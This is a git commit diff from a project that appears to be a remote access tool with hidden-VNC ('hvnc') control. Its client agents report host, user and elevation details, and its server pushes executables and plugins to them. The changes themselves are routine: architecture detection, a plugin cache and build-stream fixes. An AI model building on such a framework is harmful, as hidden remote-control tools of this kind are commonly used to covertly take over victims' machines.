fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

This commit is contained in:
KingKDot
2026-05-05 19:31:55 -05:00
parent fefa30e7b9
commit ec62401911
12 changed files with 193 additions and 81 deletions
+5 -2
View File
@@ -36,8 +36,11 @@ Thumbs.db
.gitignore .gitignore
.gitattributes .gitattributes
# Build outputs (dist-clients is provided by the builder stage in the runtime image) # Build outputs (agent binaries are large; exclude them but keep pre-built DLLs)
**/dist-clients/ **/dist-clients/*.exe
**/dist-clients/*.pdb
**/dist-clients/*.lib
**/dist-clients/*.exp
Overlord-Client/build/ Overlord-Client/build/
release/ release/
+1
View File
@@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.IsAdmin = sysinfo.IsAdmin() hello.IsAdmin = sysinfo.IsAdmin()
hello.Elevation = sysinfo.Elevation() hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions() hello.Permissions = sysinfo.DarwinPermissions()
hello.HostArch = sysinfo.HostArch()
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err) return fmt.Errorf("send hello: %w", err)
@@ -4,6 +4,7 @@ package sysinfo
import ( import (
"fmt" "fmt"
"runtime"
"strings" "strings"
"unsafe" "unsafe"
@@ -43,3 +44,15 @@ func totalRAM() string {
mb := float64(total) / (1024 * 1024) mb := float64(total) / (1024 * 1024)
return fmt.Sprintf("%.0f MB", mb) return fmt.Sprintf("%.0f MB", mb)
} }
func HostArch() string {
if machine, err := unix.Sysctl("hw.machine"); err == nil {
switch machine {
case "x86_64":
return "amd64"
case "arm64":
return "arm64"
}
}
return runtime.GOARCH
}
@@ -5,7 +5,9 @@ package sysinfo
import ( import (
"fmt" "fmt"
"os" "os"
"runtime"
"strings" "strings"
"syscall"
) )
func collectPlatform() Info { func collectPlatform() Info {
@@ -97,3 +99,28 @@ func totalRAM() string {
} }
return "unknown" return "unknown"
} }
func HostArch() string {
var utsname syscall.Utsname
if err := syscall.Uname(&utsname); err == nil {
buf := make([]byte, 0, len(utsname.Machine))
for _, c := range utsname.Machine {
if c == 0 {
break
}
buf = append(buf, byte(c))
}
machine := string(buf)
switch machine {
case "x86_64":
return "amd64"
case "aarch64":
return "arm64"
case "armv7l":
return "armv7"
case "i686", "i386":
return "386"
}
}
return runtime.GOARCH
}
@@ -4,6 +4,8 @@ package sysinfo
import ( import (
"fmt" "fmt"
"os"
"runtime"
"strings" "strings"
"unsafe" "unsafe"
@@ -112,3 +114,25 @@ func totalRAM() string {
mb := float64(ms.TotalPhys) / (1024 * 1024) mb := float64(ms.TotalPhys) / (1024 * 1024)
return fmt.Sprintf("%.0f MB", mb) return fmt.Sprintf("%.0f MB", mb)
} }
func HostArch() string {
if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
switch strings.ToLower(arch) {
case "amd64":
return "amd64"
case "arm64":
return "arm64"
}
}
if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
switch strings.ToLower(arch) {
case "amd64":
return "amd64"
case "arm64":
return "arm64"
case "x86":
return "386"
}
}
return runtime.GOARCH
}
@@ -7,6 +7,7 @@ type Hello struct {
Host string `msgpack:"host"` Host string `msgpack:"host"`
OS string `msgpack:"os"` OS string `msgpack:"os"`
Arch string `msgpack:"arch"` Arch string `msgpack:"arch"`
HostArch string `msgpack:"hostArch,omitempty"`
Version string `msgpack:"version"` Version string `msgpack:"version"`
User string `msgpack:"user"` User string `msgpack:"user"`
Monitors int `msgpack:"monitors"` Monitors int `msgpack:"monitors"`
+50 -13
View File
@@ -86,6 +86,27 @@ const clearContext = () => {
contextCard = null; contextCard = null;
}; };
let _pluginCache = null;
let _pluginCacheAge = 0;
const PLUGIN_CACHE_TTL = 30_000;
async function refreshPluginCache() {
try {
const res = await fetch("/api/plugins");
if (!res.ok) return;
const data = await res.json();
_pluginCache = Array.isArray(data.plugins) ? data.plugins : [];
_pluginCacheAge = Date.now();
} catch {}
}
function getCachedPlugins() {
if (_pluginCache && Date.now() - _pluginCacheAge < PLUGIN_CACHE_TTL) {
return _pluginCache;
}
return null;
}
function detectClientPlatform(clientId) { function detectClientPlatform(clientId) {
if (!clientId) { if (!clientId) {
return "unknown"; return "unknown";
@@ -323,6 +344,7 @@ async function loadCurrentUser() {
} }
initializeRenderer(); initializeRenderer();
refreshPluginCache();
} else { } else {
window.location.href = "/"; window.location.href = "/";
} }
@@ -414,25 +436,20 @@ function showPluginConfirmModal(pluginId, clientId, sigInfo) {
input.focus(); input.focus();
} }
async function loadPluginsForClient(clientId) { function renderPluginMenu(plugins) {
const section = document.getElementById("plugin-section"); const section = document.getElementById("plugin-section");
const container = document.getElementById("plugin-menu"); const container = document.getElementById("plugin-menu");
if (!section || !container) return; if (!section || !container) return;
container.innerHTML = ""; container.innerHTML = "";
section.classList.add("hidden");
try { const enabled = plugins.filter(p => p.enabled !== false);
const res = await fetch(`/api/clients/${clientId}/plugins`); if (!enabled.length) {
if (!res.ok) return; section.classList.add("hidden");
const data = await res.json(); return;
const plugins = Array.isArray(data.plugins) ? data.plugins : []; }
if (!plugins.length) return;
section.classList.remove("hidden"); section.classList.remove("hidden");
for (const plugin of plugins) { for (const plugin of enabled) {
if (plugin.enabled === false) {
continue;
}
const btn = document.createElement("button"); const btn = document.createElement("button");
btn.className = "ctx-item ctx-plugin-item"; btn.className = "ctx-item ctx-plugin-item";
btn.dataset.plugin = plugin.id; btn.dataset.plugin = plugin.id;
@@ -496,8 +513,28 @@ async function loadPluginsForClient(clientId) {
container.appendChild(unloadBtn); container.appendChild(unloadBtn);
} }
} }
}
async function loadPluginsForClient(clientId) {
const section = document.getElementById("plugin-section");
const container = document.getElementById("plugin-menu");
if (!section || !container) return;
container.innerHTML = "";
section.classList.add("hidden");
const cached = getCachedPlugins();
if (cached && cached.length) {
renderPluginMenu(cached);
}
try {
const res = await fetch(`/api/clients/${clientId}/plugins`);
if (!res.ok) return;
const data = await res.json();
const plugins = Array.isArray(data.plugins) ? data.plugins : [];
renderPluginMenu(plugins);
} catch { } catch {
// ignore // ignore — cache render is already showing
} }
} }
+1
View File
@@ -23,6 +23,7 @@ export type Hello = {
host: string; host: string;
os: string; os: string;
arch: string; arch: string;
hostArch?: string;
version: string; version: string;
user: string; user: string;
monitors: number; monitors: number;
+9 -6
View File
@@ -190,20 +190,23 @@ export async function startBuildProcess(
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`); logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
} }
build.controllers.forEach((controller) => { const alive: ReadableStreamDefaultController[] = [];
for (const controller of build.controllers) {
try { try {
controller.enqueue(encoded); controller.enqueue(encoded);
} catch (err) { alive.push(controller);
logger.error("[build] Failed to send to stream:", err); } catch {
} }
}); }
build.controllers.length = 0;
build.controllers.push(...alive);
if (data.type === "complete") { if (data.type === "complete") {
build.controllers.forEach((controller) => { for (const controller of build.controllers) {
try { try {
controller.close(); controller.close();
} catch {} } catch {}
}); }
build.controllers.length = 0; build.controllers.length = 0;
} }
}; };
@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
continue; continue;
} }
const clientOs = client.os?.toLowerCase() || ""; const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || ""; const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`; const clientPlatform = `${clientOs}-${clientArch}`;
if (!targetPlatforms.has(clientPlatform)) { if (!targetPlatforms.has(clientPlatform)) {
skippedNoMatch++; skippedNoMatch++;
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
} }
const clientOs = client.os?.toLowerCase() || ""; const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || ""; const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`; const clientPlatform = `${clientOs}-${clientArch}`;
const buildFile = buildPlatforms.get(clientPlatform); const buildFile = buildPlatforms.get(clientPlatform);
if (!buildFile) { if (!buildFile) {
+1
View File
@@ -16,6 +16,7 @@ export type ClientInfo = {
host?: string; host?: string;
os?: string; os?: string;
arch?: string; arch?: string;
hostArch?: string;
version?: string; version?: string;
user?: string; user?: string;
nickname?: string; nickname?: string;
+1
View File
@@ -128,6 +128,7 @@ export async function handleHello(
info.host = sanitizeInfoString(payload.host); info.host = sanitizeInfoString(payload.host);
info.os = sanitizeInfoString(payload.os); info.os = sanitizeInfoString(payload.os);
info.arch = sanitizeInfoString(payload.arch, 32); info.arch = sanitizeInfoString(payload.arch, 32);
info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch;
info.version = sanitizeInfoString(payload.version, 64); info.version = sanitizeInfoString(payload.version, 64);
info.user = sanitizeInfoString(payload.user); info.user = sanitizeInfoString(payload.user);
info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors; info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;